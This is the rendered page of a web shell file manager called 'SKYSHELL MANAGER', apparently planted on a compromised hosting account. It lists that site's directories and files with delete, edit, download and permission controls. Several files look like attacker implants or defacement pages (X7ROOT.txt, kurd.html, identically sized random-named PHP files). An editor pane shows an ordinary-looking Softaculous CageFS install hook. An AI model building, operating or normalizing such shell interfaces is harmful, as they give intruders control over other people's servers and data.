📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: pre_install_cagefs.php
<?php /** * This is a HOOK POINT in the Softaculous Installation process. * NOTE : You must rename this file to pre_install_cagefs.php */ ////////////////////////////////////////////////////////////// //=========================================================== // pre_install_cagefs.php //=========================================================== // SOFTACULOUS // Version : 1.1 // Inspired by the DESIRE to be the BEST OF ALL // ---------------------------------------------------------- // Started by: Alons // Date: 10th Jan 2009 // Time: 21:00 hrs // Site: http://www.softaculous.com/ (SOFTACULOUS) // ---------------------------------------------------------- // Please Read the Terms of use at http://www.softaculous.com // ---------------------------------------------------------- //=========================================================== // (c)Softaculous Inc. //=========================================================== ////////////////////////////////////////////////////////////// if(!defined('SOFTACULOUS')){ die('Hacking Attempt'); } /** * This function will be called whenever a script is installed. * $software will have details of the script being installed. * * @package CageFS hooks * @author Pulkit Gupta * @return bool * @since 4.3.0 */ function __pre_install_cagefs(){ global $soft, $software, $globals, $scripts, $softpanel, $error, $__hooks; // soft_req_check method in softpanel does the requirements check so we skip the checks here if(method_exists($softpanel, 'soft_req_check')){ return true; } // Is CageFS enabled ? if(file_exists('/usr/bin/selectorctl') && !defined('php_version')){ /*// Lets check if the user is in the disabled list of CageFS // This is allowed only for root @exec("/usr/sbin/cagefsctl --list-disabled | grep ".$softpanel->user['name'], $dout, $dret); if(preg_match('/'.$softpanel->user['name'].'/is', implode('', $dout))){ return true; }*/ // Lets check if CageFS is enabled for this user @exec("/usr/bin/selectorctl --user-current --user=".(($globals['softpanel'] == 'plesk') ? $softpanel->user['login_name'] : $softpanel->user['name'])." 2>&1", $cout, $cret); if(preg_match('/ERROR/is', implode('', $cout))){ return true; } // selectorctl does not work in CageFS for PHP interpreter if(preg_match('/selectorctl does not work/is', implode('', $cout))){ return true; } // If it is native than we will find the verison using sphpversion() if(preg_match('/native/is', implode('', $cout))){ $native = sphpversion(); } // Get the list of Default enabled extensions $curr_version = str_replace('.', '', substr($cout[0],0,3)); //current php version $cagefs_phpbin = '/opt/alt/php'.$curr_version.'/usr/bin/php'; if(!empty($native)){ //Cannot define here as defining at the end fails if user attempts to change the PHP version via checkbox //define(eu_php_bin, 'php'); $cagefs_phpbin = '/usr/bin/php'; } // What is the user's PHP version ? @exec("/usr/bin/selectorctl --user-current --user=".(($globals['softpanel'] == 'plesk') ? $softpanel->user['login_name'] : $softpanel->user['name'])." | awk '{print $2}'", $out, $ret); if(!empty($native)){ $tmp_out = $native; }else{ $tmp_out = current($out); } (!empty($tmp_out) ? $php_version = $tmp_out : ''); //List of installed PHP versions in cageFS exec("/usr/bin/selectorctl --list | awk '{print $2}'", $php_installed_vers, $pvret); sort($php_installed_vers); if(!empty($scripts[$soft]['php_min'])){ // Is it lower than the required version ? if(sversion_compare($tmp_out, $scripts[$soft]['php_min'], '<')){ foreach($php_installed_vers as $ver){ if(sversion_compare($ver, $scripts[$soft]['php_min'], '>=')){ // Ask for a confirmation if(!checkbox('php_version_select')){ $error[] = 'PHP version is less than the required '.$scripts[$soft]['php_min'].'<br /> <input type="checkbox" name="php_version_select" '.POSTChecked('php_version_select').' /> Do you wish to enable PHP '.$ver.' ? (Might cause issues with your existing installations).'; // Lets enable the version for the user }else{ $pid = strval(posix_getpid()); @exec("/usr/bin/selectorctl --set-user-current=".substr($ver, 0, 3)." --user=".(($globals['softpanel'] == 'plesk') ? $softpanel->user['login_name'] : $softpanel->user['name'])." --exclude-pid-list=".$pid , $sout, $sret); @exec("/usr/bin/selectorctl --user-current --user=".(($globals['softpanel'] == 'plesk') ? $softpanel->user['login_name'] : $softpanel->user['name'])." | awk '{print $2}'", $nout, $nret); $php_version = current($nout); $opt_version = str_replace('.', '', substr($php_version,0,3)); $cagefs_phpbin = '/opt/alt/php'.$opt_version.'/usr/bin/php'; } break; } } } } rsort($php_installed_vers); if(!empty($scripts[$soft]['php_max'])){ // Is it lower than the required version ? if(sversion_compare($tmp_out, $scripts[$soft]['php_max'], '>')){ foreach($php_installed_vers as $ver){ if(sversion_compare($ver, $scripts[$soft]['php_max'], '<')){ // Ask for a confirmation if(!checkbox('php_max_version_select')){ $error[] = 'This script is not compatible with PHP version : '.$scripts[$soft]['php_max'].'+<br /> <input type="checkbox" name="php_max_version_select" '.POSTChecked('php_max_version_select').' /> Do you wish to enable PHP '.$ver.' ? (Might cause issues with your existing installations).'; // Lets enable the version for the user }else{ $pid = strval(posix_getpid()); @exec("/usr/bin/selectorctl --set-user-current=".substr($ver, 0, 3)." --user=".(($globals['softpanel'] == 'plesk') ? $softpanel->user['login_name'] : $softpanel->user['name'])." --exclude-pid-list=".$pid , $sout, $sret); @exec("/usr/bin/selectorctl --user-current --user=".(($globals['softpanel'] == 'plesk') ? $softpanel->user['login_name'] : $softpanel->user['name'])." | awk '{print $2}'", $nout, $nret); $php_version = current($nout); $opt_version = str_replace('.', '', substr($php_version,0,3)); $cagefs_phpbin = '/opt/alt/php'.$opt_version.'/usr/bin/php'; } break; } } } } // Get the list of enabled extensions for this user $command = '/usr/bin/selectorctl --list-user-extensions --user='.(($globals['softpanel'] == 'plesk') ? $softpanel->user['login_name'] : $softpanel->user['name']); @exec($command, $extout, $extret); if(!empty($extout) && is_array($extout)){ if(in_array('nd_mysqli', $extout)){ $__hooks['loaded_extension'][] = 'mysqli'; } if(in_array('nd_mysql', $extout)){ $__hooks['loaded_extension'][] = 'mysql'; } //added check for nd_pdo_mysql extension so that script that requires pdo_mysql extension enabled will find it as enabled if(in_array('nd_pdo_mysql', $extout)){ $__hooks['loaded_extension'][] = 'pdo_mysql'; } if(!empty($__hooks['loaded_extension']) && is_array($__hooks['loaded_extension'])){ $__hooks['loaded_extension'] = array_merge($__hooks['loaded_extension'], $extout); }else{ $__hooks['loaded_extension'] = $extout; } } // Get the list of compiled extensions in the selected PHP binary @exec($cagefs_phpbin.' -n -m', $extout1, $extret1); if(!empty($extout1) && is_array($extout1)){ if(!empty($__hooks['loaded_extension']) && is_array($__hooks['loaded_extension'])){ $__hooks['loaded_extension'] = array_merge($__hooks['loaded_extension'], $extout1); }else{ $__hooks['loaded_extension'] = $extout1; } } // these extensions are returned by php and we need to convert it to CageFS format foreach($__hooks['loaded_extension'] as $ke => $ve){ $__hooks['loaded_extension'][$ke] = strtolower(str_replace(' ', '_', $ve)); } // This indicates that the PHP extensions list loaded in $__hooks is exhaustive list //If cageFS has native php installed, the loaded extensions return empty value if(!empty($__hooks['loaded_extension']) && empty($native)){ define('PHP_EXT_EXHAUSTIVE', 1); } } if(!empty($php_version)) define('php_version', $php_version); if(!empty($cagefs_phpbin)) define('eu_php_bin', $cagefs_phpbin); }
Save